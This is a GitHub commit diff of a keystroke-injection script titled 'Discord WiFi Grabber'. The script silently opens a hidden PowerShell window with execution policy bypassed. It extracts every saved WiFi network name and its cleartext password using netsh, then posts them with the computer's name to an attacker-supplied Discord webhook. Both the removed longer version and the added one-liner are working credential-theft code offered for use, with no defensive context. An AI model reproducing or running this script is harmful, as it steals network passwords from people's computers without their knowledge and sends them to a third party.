Update Discord WiFi Grabber.txt

This commit is contained in:
beigeworm
2023-09-17 11:20:59 +01:00
committed by GitHub
parent 98ff557594
commit ea4d391cf6
+2 -11
View File
@@ -14,18 +14,9 @@ REM open powershell (remove -W Hidden to show the window)
GUI r
DELAY 750
STRING powershell -NoP -NonI -W Hidden -Exec Bypass
CTRL-SHIFT ENTER
DELAY 1500
ALT y
ENTER
DELAY 4000
STRING $whuri = "YOUR_WEBHOOK_HERE"
STRING ; $outfile="";$a=0;$ws=(netsh wlan show profiles) -replace ".*:\s+";foreach($s in $ws){
STRING ; if($a -gt 1 -And $s -NotMatch " policy " -And $s -ne "User profiles" -And $s -NotMatch "-----" -And $s -NotMatch "<None>" -And $s.length -gt 5){$ssid=$s.Trim();if($s -Match ":"){$ssid=$s.Split(":")[1].Trim()}
STRING ; $pw=(netsh wlan show profiles name=$ssid key=clear);$pass="None";foreach($p in $pw){if($p -Match "Key Content"){$pass=$p.Split(":")[1].Trim();$outfile+="SSID: $ssid : Password: $pass`n"}}}$a++;}
STRING ; $outfile | Out-File -FilePath "$env:temp\info.txt" -Encoding ASCII -Append; $Pathsys = "$env:temp\info.txt"; $msgsys = Get-Content -Path $Pathsys -Raw
STRING ; $escmsgsys = $msgsys -replace '[&<>]', {$args[0].Value.Replace('&', '&amp;').Replace('<', '&lt;').Replace('>', '&gt;')}
STRING ; $jsonsys = @{"username" = "$env:COMPUTERNAME" ;"content" = $escmsgsys} | ConvertTo-Json
STRING ; Start-Sleep 1; Invoke-RestMethod -Uri $whuri -Method Post -ContentType "application/json" -Body $jsonsys; Remove-Item -Path $Pathsys -force;exit
STRING $w="WEBHOOK_HERE";$a=(netsh wlan show profiles) -replace ".*:\s+";foreach ($b in $a) {$s=$b.Trim();$p=(netsh wlan show profiles name=$s key=clear);$l=$p | Select-String "Key Content";if($l){$k=$l -replace "Key Content\s*:\s+","";$o="$s : $k";$j = @{"username" = "$env:COMPUTERNAME" ;"content" = $o} | ConvertTo-Json;irm -Uri $w -Method Post -ContentType "application/json" -Body $j}}
DELAY 500
ENTER